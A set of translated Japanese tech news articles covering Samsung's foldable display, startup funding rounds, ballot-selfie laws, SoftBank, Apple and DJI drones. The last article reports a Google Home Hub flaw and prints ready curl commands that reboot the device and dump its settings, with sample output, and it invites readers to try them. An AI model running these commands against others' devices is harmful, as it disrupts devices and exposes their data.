Samsungの折りたたみディスプレイの開閉動画はこちら

噂されていた通り、本日(米国時間11/7)Samsungは 折りたたみディスプレイのプロトタイプを披露した。たたむとスマートフォン。開くとタブレット。すばらしい!

あまりすばらしくないこと:Samsungは本当の意味で見せるつもりがなかった。プロトタイプがステージにいたのは45秒間で、意図的に背面から光を当てられてほぼシルエット状態になっていた。彼らは「デザイン要素を偽る」ことで、秘密の調味料がなんであるかを隠していた。

プロトタイプが開閉する映像を探すためには2時間にわたるSamsungのデベロッパー向け基調講演を掘り起こす必要があるので、読者のためにGIF動画にしたものを貼っておく。

これがスマホモードからタブレットモードに変わる瞬間だ:

そしてこちらがタブレットモードからポケットに優しいスマホモードに戻るところ:

これは初めての折りたたみ端末ではないが、最後でもないだろう。本日Googleが折りたたみディスプレイ対応機能をAndroidに追加したということは、複数のメーカーがこのコンセプトを試そうとしていると考えたに違いない——少なくとも、Androidのコードベース本体にこの変更を加える価値があると判断できる数のメーカーが。

Samsungが基調講演で話した関連部分を見たい人は、下に貼り付けたストリームの1時間25分の少し前から始まっている。

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(翻訳:Nob Takahashi / facebook

Samsung、折りたたみスマートフォン「Infinity Flex Display」をチラ見せ

長らく噂されていた折りたたみスマートフォンの発表をほのめかしていたSamsungが、これを発表と呼べるのかどうか、折りたたみディスプレイ付き端末のプロトタイプを披露した。

「デバイス自身のサイズを大きくすることなく画面を大きくするにはどうすればよいだろうか?」とSamsungの幹部が壇上で問いかけた。

同社は折りたたみできるデバイス、”Infinity Flex Display”のプロトタイプを紹介した。真っ暗な部屋の中で幹部が披露したそのデバイスは、「フォームファクターを隠す」ために大きめのケースに入れられていた。外側には本体と比べて小さめの通常画面が置かれていたが、開くとそこには巨大な7.3インチディスプレイがあった。

折りたたみ画面が外側ではなく内側に置かれていたのには少々驚かされたが、画面の実際に折れ曲がる部分が端末の縁にならなくてすむ方が、ディスプレイの信頼性を高められるに違いない。

端末を開くと、動いていたアプリは前面ディスプレイからタブレットサイズのディスプレイへと移動する。Androidの最近のアップデートで初めて可能になった機能だ。

この「イノベーション」を大きく謳ってはいるものの、Samsungはこのタイプのデバイスを発売できる準備がまだ整っていない。新型ディスプレイの量産は数ヶ月のうちに開始すると言っていた。また2019年の次期Samsung Unpackedイベントでこのデバイス関連の発表をさらに行うことも同社は示唆した。

これがファブレットの未来なのかどうかはともかく、スマートフォンのフォームファクターの進化の一つであることは確かだ。Samsungは折りたたみディスプレイが「明日のスマートフォンの基礎をなす」と信じているが、果たしてギミック以上のものになるかどうか、もちろんまだわからない。

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スマホで数学を教えてくれるPhotomathはダウンロード数1億, $6Mを調達

Photomathが、Goodwater Capitalが仕切りLearn Capitalが参加したラウンドで600万ドルを調達した。Photomathは大成功したモバイルアプリで、iOSとAndroid合わせてこれまで1億回ダウンロードされた。

Photomathは2014年に本誌TechCrunch主催のTechCrunch Disrupt Londonでデビューしたが、そのときは(手書きなどの)テキスト認識技術が売りだった。Photomathは、その技術をデモする宣伝用アプリにすぎなかった。

でもそのアプリは、何かの間違いのように消費者向けアプリとして成功した。たちまちそれは、自分のスマートフォンで数学を勉強できたら、と願っている多くの学生たちによって、何百万もダウンロードされた。

5年目の今でも、App StoreとPlay Storeの両方で、トップ集団にいる。大成功の理由は、コンセプトがシンプルなことだ。

アプリをダウンロードしたら、手書きでも印刷物でも何でもよいから、数学の問題を彼に見せる。するとアプリは、一歩々々説明しながら、その問題を解く。

Photomathが便利なのは、二つのものを組み合わせているからだ。WolframAlphaは方程式を解く。Evernoteは手書き文字を認識する。しかしこの二つを組み合わせることは、これまで誰も考えなかった。

キーボードから方程式を入力するのはものすごく難しいから、手書きや印刷物という物理的世界とスマートフォンの間にあるギャップを橋渡しすることはすごくありがたい。まだ誰もが拡張現実という言葉を口にしていないころから、Photomathはすでに、スマートフォンのSoCチップの力を利用していたのだ。

Photomathはグラフも作れるし、極限、積分、複素数などの高度な問題もサポートしている。このアプリは1か月に12億の数学の問題を解いている。

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3Dプリンターがプラスチックでなく濡れた紙パルプを使ったら楽しいアートができる

紙弾(かみつぶて)を撃って遊ぶ子どもたちのように、デザイナーのBeer Holthuisも、いたずらをするための最良の素材は濡れた紙だ、と考えた。彼の3Dプリンター、RepRapの粗末なクローンは、文字通り紙パルプの長い紐(ひも)を吐き出して、プラスチックよりも持続可能性のある3Dオブジェクトを作る。

3DPrint.comの記事によると、Holthuisは、大量の廃棄物で汚染を増大させない素材を探していた。そして彼は、すりつぶした紙に到達した。濡れた紙を押し出すと、パルプの太い飾り紐のようなものができて、それを重ねると装飾的なオブジェクトを作ることができた。

“そうやってプリントしたオブジェクトのデザインは、この技術の可能性と美しさを示すものだ”、とHolthuisは語る。“触感がいいし、紐の太さやプリントのスピードを変えていろんな形を作れる。しかも、意外と強度があって、長持ちする”。

おもしろいのは、彼は天然バインダーを使って層をくっつけているので、完全にリサイクル可能であることだ。紙をマシンに放り込んで、自動的にパルプを作らせたら、リサイクルの過程も自動化されるだろう。でも、このお話の最良の部分は、作品がまるで、高度な知性を持った蜂のコロニーが他の集団と交易するために作った物のように見えることだ。そう思うと、楽しいよね。

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精密農業スタートアップのTaranis、農業監視テクノロジーで2000万ドル調達

Taranisは、空中監視とディープラーニングを使って農作物の問題を見つけ出す農業技術(AgTech)のスタートアップだ。本日(米国時間11/6)同社は2000万ドルのシリーズBラウンドをViola Venturesのリードで完了した。既存投資家のNutrien(世界最大級の農薬メーカー)、Wilbur-Ellisのベンチャーキャピタル部門Cavallo Ventures、およびSumitomo Corporation Europeも参加した。

テルアビブ拠点のTaranisは、現在同社の空撮テクノロジーは、高速ドローンまたは有人飛行機に搭載されてアルゼンチン、ブラジル、ウクライナ、よび米国で使用されていると語った。このラウンドで調達した資金を使ってオーストラリアをはじめとする他の国々にも進出する計画だ。

この会社は2015年、Ofir Schlam、Asaf Horvitz、Eli Bukchin、Ayal Karmiの4人によって食料生産を増加するために設立された。Taranisのソフトウェアがターゲットにしているのは、トウモロコシ、綿花、大麦、大豆、サトウキビ、ジャガイモなどの大規模生産作物だ。害虫被害、栄養不足、病害などの問題原因を突き止め、農業従事者に(例えば)虫が作物を食べているところの詳細を写した高解像度の拡大画像を提供する。

Viola VenturesのパートナーZvika Orronはプレスリリースで、「デジタル農業産業を分析した結果、Taranisをこの分野で最初の投資先に選んだことを誇りに思っている。Taranisは農業デジタル化のリーダーになるために必要な要素をすべて兼ね備えている。広範囲な精密農業ソリューション、市場のスケールに対応し、市場進出するために必要な第一線業界パートナー、およびそれを実現させる情熱的なチームが揃っている」

従来の農作物監視は労働集約型であり、センサーを使って土壌品質や施肥量、害虫などの問題を追跡する場合であっても、必ずしも正確ではなかった。コンピュータービジョンとAI技術を使ってこのプロセス(「精密農業」と呼ばれる成長分野)を効率化しようとしている他のVC支援スタートアップには、これもテルアビブ拠点のProsperaArableCeres Imagingらがいる。

農業の巨人らも精密農業スタートアップを買いに動き始めている。たとえば、過去12ヶ月間に、DeereがBlue Riverの買収に合意し、ブラジルのスタートアップStriderがSyngentaに買われた

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ジャケ・ドローの「Sports Watch」は、ハイエンド・へビューデューティーなクロノグラフ

ウォッチメーカーのJaquet Drozは、サンフランシスコのアパートよりも高価な高級腕時計を作っている。しかし、このたび同社はクロノグラフのSports Watchを「大衆化」化する決断を下した。その時計は仕事と遊び両方に向けて作られている。

Sports Watchは標準的なクロノグラフだが、日付が回転ダイヤルではなく大きな数字2桁で表示されている。その結果外観はオートクチュールのSpeedmasterのようで、価格は1万5000ドル前後と思われる。Drozの他のモデルが10万ドルという現金不足の起業家にとって興味のわかない価格領域にあることを考えると、職人による手作り時計として受け入れられる値段といえる。

リリース文からさらに引用する。

時計作りの伝統を守り、文字盤の時刻目盛りは18 Kホワイトゴールドの「アップリケ」で作られている。幅広のローマ数字が3時、6時、9時、12時を示し、Jaquet Drozは12時の位置に大きな日付を配置した。精密な時計作りの伝統的コンプリケーションだがクロノグラフでは滅多に使われない。シンプルな日付窓よりも複雑な工程を要するが、大きな日付は読みやすさに優れている。最適な見やすさを実現するために、この最新バージョンのスイスクロノグラフは45 mmの文字盤を採用し、機構部分の上にレールトラックを配置している。

バンドは「ロールドエッジ・ハンドメイド・ダークブルー・ファブリック」製で、これまでラバーまたは金属のベルトが使われてきた高級時計の世界ではユニークな試みだ。これをつけたまま濡れるつもりなら、防水は50メートル。年内に販売開始される予定だ。

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あなたの州で「投票撮り」(votie)は合法? このマップで調べよう

明日は2018年中間選挙。興味深い政治展望の変化に加えて、この日は何百万というvotie[投票撮り]、つまり記入済み投票用紙の写真がソーシャルメディアに投稿されることが約束されている。それは同時に、合法か違法かという国レベルの混乱を招く事象でもある。それはあなたがどの州に住んでいるかによって変わる。でも心配はいらない、この地図を見るか、下に載せた便利なカラーコード化リストを見れば安心だ。

さて、読者の中には誰に投票したかを公開して自分の政治見解を表明することがなぜ違法になるのか不思議に思う人もいるだろう。問題は政治的発言をすることにあるのではない。当然その権利は守られている。問題は、選挙手続き上その行為が明示的に禁止されているとき、実際の投票を公開することだ。

投票の秘密は力を与えるためであり、制限するためではない。自分の投票内容を誰にも知られることがなく、なんらかの形で投票の証拠を公表することが法で禁止されていれば、誰に投票するかを強制されたり脅迫されたりする心肺はない。この可能性に加えて、投票所という人に見られたくない場所に撮影装置を持ち込む、というもっと一般的な脅威もある。

民主的プロセスの完全性と〈他人の〉投票の秘密を侵害する可能性は、この特別な場所と時間には個人の言論の自由に優先するという判断が、一部の州では決定されているが、そこには少なからぬ議論や異義がある。憲法修正第1条の例外として、これはかなり範囲の狭いものの一つだ。

ダウンロード用の大型マップはこちら

ともあれ、18の州がこの行為を禁止しているが、その範囲と厳格さはまちまちだ。低レベルの軽犯罪であったりもっと重大な罪であったり、投票所への電子機器持ち込みが全面禁止されていることもある。州によっては訴訟することも、何もしないこともあるが、私はシンプルに “ILLEGAL”[違法]と分類した。この選挙投票の日になんらかの形で法に抵触するのだから。

21の州は、この行為を禁止する法律がないか、明示的に許しているのでLEGAL[合法]とした。ただし、写真は自分と自分自身の投票用紙であり、他人のものであってはならない。

残る11州は、いずれのカテゴリーにもすっきり収まらない。たとえば、一部の州では書き込み済みのMAIL-IN BALLOTS[郵送投票用紙]の写真は自由にシェアできるが、投票場所やその周辺の写真を撮ることは許されていない。〈私〉には理解出来ないが、法律家や立法者から見るとvotieで法を犯す方法があるらしい。UNCLEAR[不明]な州にいる人は、何もしないのが安全だが、どうしてもやらなければならないなら、Law & Crimeにあるこのリストの最後を確認されたい。

それでは本題のリストはこちら:

  • Alabama: ILLEGAL
  • Alaska: ILLEGAL
  • Arizona: MAIL-IN BALLOTS OK
  • Arkansas: UNCLEAR
  • California: ILLEGAL (but not for long)
  • Colorado: ILLEGAL
  • Connecticut: LEGAL
  • Delaware: ILLEGAL
  • District of Columbia: LEGAL
  • Florida: ILLEGAL
  • Georgia: ILLEGAL
  • Hawaii: LEGAL
  • Idaho: LEGAL
  • Illinois: ILLEGAL
  • Indiana: LEGAL
  • Iowa: MAIL-IN BALLOTS OK
  • Kansas: LEGAL
  • Kentucky: LEGAL
  • Louisiana: LEGAL
  • Maine: LEGAL
  • Maryland: MAIL-IN BALLOTS OK
  • Massachusetts: UNCLEAR
  • Michigan: ILLEGAL
  • Minnesota: LEGAL
  • Mississippi: ILLEGAL
  • Missouri: UNCLEAR
  • Montana: LEGAL
  • Nebraska: LEGAL
  • Nevada: ILLEGAL
  • New Hampshire: LEGAL
  • New Jersey: ILLEGAL
  • New Mexico: ILLEGAL
  • New York: ILLEGAL
  • North Carolina: ILLEGAL
  • North Dakota: LEGAL
  • Ohio: UNCLEAR
  • Oklahoma: UNCLEAR
  • Oregon: LEGAL
  • Pennsylvania: DEPENDS ON COUNTY
  • Rhode Island: LEGAL
  • South Carolina: ILLEGAL
  • South Dakota: ILLEGAL
  • Tennessee: ILLEGAL
  • Texas: MAIL-IN BALLOTS OK
  • Utah: LEGAL
  • Vermont: LEGAL
  • Virginia: LEGAL
  • Washington: LEGAL
  • West Virginia: MAIL-IN BALLOTS OK
  • Wisconsin: ILLEGAL
  • Wyoming: LEGAL

もし自分の州が違法または合法かどうか疑問の場合は、自分の責任でvotieをシェアされたい。

投票妨害や投票マシンの不具合その他の問題をスマートフォンで記録することは、規則の例外になる場合がある。最善の判断を下し、他人のプライバシーに配慮されたい。

私は法律家ではなく、これは法的な助言ではない! 本稿は単なる情報提供であり、2018年11月5日現在私の知る限りの知識による。誤りがあった場合は? [原文の]コメント欄で教えてくれれば調査する。すでにいくつか修正した箇所もある。

ちなみに私は “votie” が起きるのを止めようとしているのではない。きっと起きるだろう!

more 2018 US Midterm Election coverage

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(翻訳:Nob Takahashi / facebook

ソフトバンクの孫正義氏はサウジアラビアとの関係をどう説明するのか? まもなく判明

10月を通じて、SoftBankはサウジアラビアのムハンマド・ビン・サルマン皇太子(MBS)との良好な関係を見直す必要に迫られている。皇太子は権力の座につくとともに多額の資金を提供していたが、ジャーナリストのジャマル・カショギ氏の陰惨な殺人と死体遺棄が明るみに出るにつれ急速に負の側面が見えてきた(MBSはサウジアラビアを導いて数多くの恐怖をもたらしてきたが、バージニア州在住のWashington PostコラムニストでMBSを批判してきたカショギ氏の残酷な終末は、イエメンで数万人の子供たちが殺された事件と異なり、欧米の注目を集めることとなった)

もちろんSoftBankにとってMBSとの決別は容易な決断ではない。CEOの孫正義氏は、 今年5月に完了した1000億ドルのVision FundはMBSに支えられていると語った。事実、孫氏によるとMBSはサウジの公共投資ファンド450億ドルの提供を45分間で決定し、さらに第2のVision Fund設立のために別途450億ドルをSoftBankに出資する意志を最近表明している。

これは断るにはかなり大きな金額だ。しかし、SoftBankにとってMBSと仕事をすることの是非を再考することは理にかなった行動といえる。Financial Timesによると、SoftBank COOのMarcelo Claureは先月、SoftBankが新たなVision Fundを立ち上げるかどうか「決定していない」ことを公表した。

そして時間が過ぎた。世間の怒りの矛先は別の方に向けられつつある。そして先週の終わり、SoftBankの準備は整ったようで、一時停止ボタンから指を離し大きな契約が2件交わされた。ロボット調理のスタートアップZumeに3.75億ドルを投資し(後日さらに3.75億ドルを投資する計画が報じられた)、金曜日(米国時間11/2)にはインターネットにつながる窓ガラスに使われるガラスのメーカーであるView11億ドル投資することを発表した。

両社の経営陣とも、SoftBankと提携する方が別の資金調達源を探すより得るものが大きいと考えたようだ。

問題は、SoftBank自身が、会社の将来を計画する上で同じ決断を下すのかどうかだ。それがもうすぐ明らかになりそうだ。Financial Timesが報じているように、孫氏はSoftBankの第2四半期決算を明日報告する予定であり、そこではMBSが支配する主権国家資産ファンドであるPublic Investment FundとSoftbankのつながりに関する長い質問リストを提示されることは間違いない。

少なくとも役に立つ答えがいくつか出てくるだろう。これまで孫氏はカショギ事件について何も語ってこなかった。また、孫氏は2週間前にサウジアラビアのリヤドで行われたMBSの投資カンファレンスに姿を見せなかったものの、イベント前に皇太子と個人的に会っていた。本誌の情報源によると、その会合はカショギ事件に対する彼の懸念を個人的に伝えるためだったということだが、つながりを断ち切る話しは出なかったという印象を受けた。

その予想が正しいかどうかはすぐに分かるだろう。いずれにせよ、SoftBankとMBSとの関係がすぐに忘れられることはなさそうだ。Financial Timesの記事にある通り、SoftBank株はカショギ氏が10月初めにトルコのサウジ領事館に足を踏み入れて出てこなかった運命の日から26%下落している。

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女性起業家が調達した資金は米国VCのわずか2.2%(今年も)

女性起業家に公平な活躍の場を与えようとする数々の努力にもかかわらず、2018年に米国女性が設立したスタートアップの調達金額はベンチャー資金全体のわずか2.2%だった。

この数字に見覚えがあるかもしれない。PitchBookによると、これは昨年、女性ファウンダー単独あるいは女性のみのチームのスタートアップが調達した資金の割合とまったく同じだ。

この数字は、女性起業家や支援者たちがこの長きにわたる問題の解決を試みる際の一種のスローガンとして使われている。女性起業家が調達する民間資本は男性起業家と比べて著しく少ない。いくつかの新しい試みや、All Raiseのような専門組織が、メンターによる指導プログラムによってこの問題を解決しようとしているが、変化を達成するだけのリソースを追加するためには1年以上必要なのは明らかだ。

現在ベンチャーキャピタル会社の意思決定者に女性の占める割合は10%以下であり、米国VC会社の74%には女性投資家が一人もいない。こうした数字が変わり始めるまで、資金調達のギャップが縮まる見込みは小さい。

良いニュースもある。2018年を2ヶ月残した時点で、女性たちが調達したVC資金の額は過去最高を記録している。過去10ヶ月間に女性が起業したスタートアップは計391件、23億ドルの調達契約を完了し、2017年の20億ドルを超えた。男女混合チームによる今年の資金調達も132億ドル、1346件で、昨年の127億ドルより増えている。

一方米国スタートアップ全体では2018年に967億ドルを調達しており、年内に1000億ドルを超えるペースだ。女性が起業した会社はそのわずか2.2%しか調達していない。男女混合チームの数字は12.8%で前年の約10.4%より増えている。

昨年米国のスタートアップは9000件以上の案件で総額820億ドルを調達し、ベンチャー業界にとって今年同様に印象的な年だった。

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3Dプリントした部品などの表面を安全に平滑化するZortraxのApoller平滑システム

ZortraxApollerは、同社がSmart Vapor Smoothing(電脳気化平滑)と呼ぶデバイスで、3Dプリントされたオブジェクトの表面を溶剤を使ってなめらかにする。その結果、製品は射出成形で作った品物のようになり、FDMプリンティングに必ずある細いラインがなくなる。

そのシステムは電子レンジのようなボックスの中で複数のパーツを一度に処理できる。そのボックスの中で、霧状にした溶剤でパーツを覆い、溶剤にその仕事をさせる。終わったら、残った霧状溶剤を回収室に吸い取る。溶剤が少しでも残っているとボックスのドアが開(あ)かないので、人間が大量のアセトンを吸い込むおそれがない。デスクトップで使うデバイスであり、クリスマスパーティーをやってるオフィスの空気中に溶剤の雲が生ずる危険性もあるので、このことは重要な配慮だ。

同社の説明より: “霧状溶剤で平滑化したものは、射出成形で作ったパーツのように見える。使ったフィラメントによって、表面はつやがあったり、マットだったりする。二段階濃縮により、300ミリリットルの溶剤で複数回のプリント結果を平滑化できる。そのため、場合によっては、典型的なFDMプリンター4台の一週間ぶんの出力を一日で自動的に平滑化でき、しかも質的劣化はない”。

FDMプリントは構造的にちゃちっぽく見えることが多いから、この平滑化は一種の化粧処理であり、たぶん理論的には、3Dプリントしたパーツからモールド(型)を作ることができるだろう。実際には、アセトンで平滑化したパーツは、つやつやして外見が良いから、これから射出整形やフライス盤などで作る最終製品の姿を正しく理解できるだろう。

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Flickrの新しいビジネスモデルでCreative Commonsの作品は消されるのか

昨日(米国時間11/2)は Flickrの改革プランについて、新オーナーのSmugMugから一連の発表があったが、それにより重要な懸念も生じた: 無料のアカウントの写真の点数を1000に制限すると、Creative Commonsから利用できる写真の数も制限されるのではないか?。

アメリカの非営利団体Creative Commonsは、写真などのクリエイティブな作品にいくつかのタイプの著作権ライセンスを設け、作者が自分の作品をどんな形で共有したいか、設定できるようにしている。たとえば多くのクリエイターたちは自分たちの写真を、彼らの名前とプロフィールやオリジナル作品へのリンクをつけてなら無料で使ってよい、としている。〔クリエイティブ・コモンズ・ジャパン。〕

Flickrは長年Creative Commonsのパートナーで、今では何百万枚もの写真を、さまざまなタイプのライセンスで提供している。

しかしFlickrのストレージ削減プランのもとでは、これらの、合法的に無料で使える貴重な写真集は今後どうなるのか。

Creative CommonsのCEO Ryan Merkleyがブログにこう書いている: “無料アカウントの容量制限によってCCの何百万枚もの写真が削除されることを、多くのユーザーが心配している。今後について多くの人から質問を受けたが、私は解が見つかると確信している。人間の善意と、共同的クリエイティビティーの重要性が理解されることを、私は信じたい”。

彼によると、この非営利団体はすでに今、Flickrとその親会社SmugMugとの話し合いを開始している。それにより、Commonsとその将来の成長を保護し確保するつもりだ。

“ユーザーが自分たちの作品を共有し、永続的にオンラインで可利用にすることが、彼ら自身のすばらしい体験でもあることを、私たちは確証したい”、とMerkleyは語る。

SmugMugの新しいオーナーたちと同様彼もまた、買収前のFlickrのビジネスモデルは破綻していた、と考えている。大量の無料のストレージとその利用に伴う帯域を、Flickrほどの規模(写真点数数十億)で提供すれば、その費用も膨大だ。彼は、Flickrが存続するためには別のオプションを探究すべき、と理解している。

Flickrもまさに今それを、アカウントプランの変革でやろうとしている。無料アカウントのユーザーは、最大1000枚の写真を保存できるが、容量無制限のストレージは年額50ドルになる。

では、Creative Commonsは一体どうなるのだろうか。Merkleyによると同団体は、Creative Commonsの作品が削除されそうになったら、新しいFlickrのやり方に介入する最初のユーザーになるだろう、という。

また彼は、Flickrの新しいオーナーたちにはこの前会ったが、感触は良い、とも言っている。

しかしFlickrがCreative Commonsのサポートを続けるとしたら、CC側としてはそれをどのように支援するのか。同団体はそれを今模索中であり、答はやがて得られるだろう、と言っている。

SmugMugはまだ何もコメントをくれないが、得られ次第この記事をアップデートしよう。

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Appleは決算報告におけるデバイスの売上台数の開示をやめる…‘今や意味がない’と

Appleは今日(米国時間11/1)、最新の四半期決算報告を共有したが、しかし投資家たちへの説明の中で同社CFOのLuca Maestriは予期せざる発表を行った: 今後同社はiPhone, iPad, およびMacの売上台数を共有しない。

これによってアナリストや一般の人びとが同社の健康を判断するための素材がひとつ減るが、しかしAppleの上層部によると、今や同社の製品は非常に多様な価格で売られているので、売上台数という数字は同社の財政の健全性を知るためのあまり良い指標ではない。

Maestriはこう述べている: “わが社の主な製品カテゴリーにおける製品の種類は年々多様化しており、したがって台数ベースの売上数値は以前に比べて重要性を失っている。なぜなら、販売価格のばらつきが大きくなっているからだ。そのため、売上台数そのものは、財務上の数値としての意味を失っている”。

この決定はおそらく、昨年Apple製品の価格帯がハイエンド方向へ大きく伸びたためだろう。

iPhone XS Maxは1099ドルから、Apple Watch Series 4は399ドルから、新しいiPad Proは799ドルから、そして新しいMacBook Airは1199ドルからだ。今でも売っているiPhoneとiPadの前からのローエンドの機種は価格を変えていないが、Macの最新世代はほぼ揃って高くなっている。最高は、iMac Proの4999ドルだ。

今や売上台数は、決算の数値の中で端役だ。たとえばiPhoneの今期の売上台数は4689 万台で横這いだが、売上は29%伸びている。それは、iPhoneの売上単価が1年前の618ドルから793ドルへと上がったからだ。

Maestriは、スマートフォンやタブレットで同社と競合するGoogleやSamsungなども、決算報告で売上台数を公表していない、と指摘した。しかしそれでも、業績に関するデータは一つでも多い方が、アナリストにとってはありがたい。そもそもなぜ、Appleは今になってこの変更を行ったのだろうか?

関連記事: Appleの第4四半期決算で株価は7%下落――パフォーマンスは好調だが

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創業三年で急成長、インフルエンサーマーケティングのMavrckが$5.8Mを追加調達

Mavrckが、新たに580万ドルを調達して、総調達額が1380万ドルになった。

2015年にシリーズAを調達したときは、クライアントの製品をすでに使っている“マイクロインフルエンサー”たちにフォーカスしていた。しかし今は、同社は“オールインワン”のインフルエンサーマーケティングプラットホームを自称し、マーケティング活動を自動化し効果を測定するためのさまざまなツールを提供している。

同社はPinterestとマーケティングで公式にパートナーしているが、先月はPinterestのための新しい機能を発表した。同社によると、これまでは効果測定と詐欺の検出の改良に力を入れてきた。またInstagramのフォロワーに関しては“統計的に有意な標本分析”を掲げ、彼らのコンテンツにエンゲージしているアカウントがボットか否かを判定する。〔ボットは統計的に有意な標本ではない。〕

顧客にはP&G, Godiva, PepsiCoなどがいて、経常収益は年率400%で伸びている。

今回の資金調達の発表声明でCEOのLyle Stevensはこう語っている: “今年Mavrckがやってきたことにはどれも、インフルエンサー産業を前進させる意図が込められていた。導入した機能や、締結したパートナーシップ、追跡してきたインフルエンサーのビヘイビアなどなどはどれも、マーケターが人びとが信頼するコンテンツのパワーを装備して、彼らのブランドのための具体的な事業価値を育てるようにする、という、弊社のミッションの一環である”。

新たな資金の投資家は、GrandBanks CapitalとKepha Partnersだ。シリーズBではなくて、需要増に対応しチャネルとのパートナーシップをサポートするための追加資本だ、という。

画像クレジット: Mavrck

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警察のドローンが空から落ちてくる…DJIはファームウェアのアップデートを推奨

イギリスの民間航空局(Civil Aviation Authority, CAA)が、警察やそのほかの緊急事態対応省庁に対し、特定の機種のドローンの運用をやめるよう警告した。一部のデバイスが予期せざる動力喪失により、航行中に墜落しているからだ。

CAAの安全性警告は、イギリスでこれまで一部の緊急時サービスに使われていたDJIのMatrice 200シリーズのドローンに適用される。事故が最初に報告されたのはウェストミッドランズの警察局からだが、ほかにもノーフォーク、デボン、およびコーンウォールの警察がDJIのドローンを使っている。BBCによると、デボンとコーンウォールはそれぞれ20機のうち2機が地上に落下した。

CAAによると、“計器では電池寿命がまだ十分残っているにもかかわらず、航行時に動力を完全に失った機体が最近報告されている”、という。負傷者は報告されていないが、“突然の揚力喪失により、遠隔操縦のパイロットはその後の飛行経路の制御が不可能になった”。

今のところアメリカでは類似の報告はないが、バード大学の調査によると、アメリカの61の公共安全機関(警察、消防、救急など)が、同じくDJIの、Mavicドローンを使用している。使われているドローンのほとんどがDJIの機種だが、Matrice isはもっとも多い機種ではない。

メーカーは報告に応えて、Matriceのオペレーターは、問題を修復したファームウェアアップデートをプッシュするよう、促(うなが)している。同社のプロダクトウォーニングは、“DJIのPilotアプリでプロンプトが出たら、そこで顧客に、そのアプリ上またはDJI Assistant 2でインターネットにアクセスし、使用機のファームウェアとすべての電池をアップデートして、安全な飛行を確保するよう、勧めている”、と書いている。

DJIは昨年同じような問題に遭遇し、消費者品質のドローンDJI Sparkが突然動力を失い、空から落下した。

画像クレジット: DJI

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SnapchatのPRを担当した企業がInstagram上のSpectaclesの宣伝をサボったインフルエンサーを告訴

【抄訳】
もしもSnapchatのPR企業がこの訴訟で勝ったら、インフルエンサーを利用するマーケティングは今後責任が重くなるだろう。Snapchatは、ソーシャルメディアのスターたちが同社のカメラサングラスSpectaclesのv2を、同社の最大のコンペティター(Instagram)の上で宣伝し、人気を盛り上げてくれることを期待していた。なにしろv1は22万台しか売れず、4000万ドルを償却せざるをえなかった。しかしところがSnapは、一般消費者にSpectaclesをクールと思わせたいあまり、やり方がややずさんだったようだ。

Snap Inc.は。同社のPRを担当しているPR Consulting(なんと想像力豊かな社名だろう!)に、Instagramを利用するインフルエンサーマーケティングキャンペーンを委嘱した。PRC社は、テレビの人気コメディGrown-ishに出ているLuka SabbatがKourtney Kardashianと共演しているのを見て、彼を起用した。Sabbatは前金45000ドルをもらい、Spectaclesを着けている写真をInstagramにポストしたらさらに15000ドルもらえることになった。

契約ではSpectaclesを着けた状態でInstagramのフィードへのポスト1回、Storyへのポスト3回、そしてパリとミラノのFashion Weeksへ行ったときも、Spectaclesを着けた状態で写真に撮られること、となっていた。Storyのポストのうち2回は、スワイプするとSpectaclesを買えるリンクがあること。ポストはすべてPRCの事前承認を要すること。それらの効果に関するアナリティクスの数値を送ること。といった契約だった。

しかしSabbatは、Storyは契約3に対し実行1、スワイプ購入リンクは契約2に対し1、事前承認とアナリティクスはゼロ、という実行内容だった。このことを最初に報じたVariety誌のGene Maddausの記事によると、PRCはSabbatに、すでに支払った45000ドルの返金と被害補償45000ドルの支払いを求めて、訴訟を興した。Snap自身は、訴訟に参加していない。

訴状の原文を、この記事の下に埋め込んだ〔この記事の原文で埋め込みを見られます〕。それによると、“Sabbatは不正に金銭を受け取り、PRCに賠償請求の権利が生じた”、とある。Snapは、PRCにキャンペーンを委嘱したことを認め、ファッションブログMan RepellerのファウンダーLeandra Medine Cohenともキャンペーンを契約したことも認めた。そしてこのぼくは、一応礼儀として、Spectaclesを着けたSabbatの顔写真(この記事冒頭)をちょっとPhotoshopした。

【後略】

〔参考記事: Influencer marketing startup Mavrck raises another $5.8M(未訳)〕

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GoogleのHome Hubがたった1行のコードで煉瓦になる(文鎮になる)

セキュリティの普及活動家であるJerry Gamblinがポストした、主にXMLの行から成るコードは、Google Home Hubから容易に情報を取り出し、ときには一時的にそのデバイスを動かなくしてしまう。

Home Hubは要するに、Androidタブレットにスピーカーをくっつけた製品で、室内で使うGoogle Assistantデバイスとして設計されている。それは近くのWi-Fiアクセスポイントを見つけ、ユーザーはそのどれかに接続し、他のデバイスからビデオや写真を受信したり、リモートのコマンドを受け付けたりする。ビデオを受信するときには自分のPINを送信するし、また受け取るコマンドの中にはコマンドラインのクイックリブートもありえる。

問題のコマンドは、コマンドラインからの簡単なURL呼び出しで、明らかにセットアッププロセスの一部だ。ご自分で試したい人は’hub’のところをHome HubのローカルなIPアドレスに置換するとよい:

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

[ぼくはIoTのセキュリティのエキスパートではないが、不正なcurlコマンドでGoogleのHome Hubをリブートできるのはおかしいよね。]

これも1行のコード(curlコマンド)だが、マイクロサービスの数などの情報を暴露する:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

そして下のnmap呼び出しは、ローカルなネットワーク上のすべてのデバイスが自分のWi-Fiを忘れてしまうので、もう一度セットアップしなければならない:

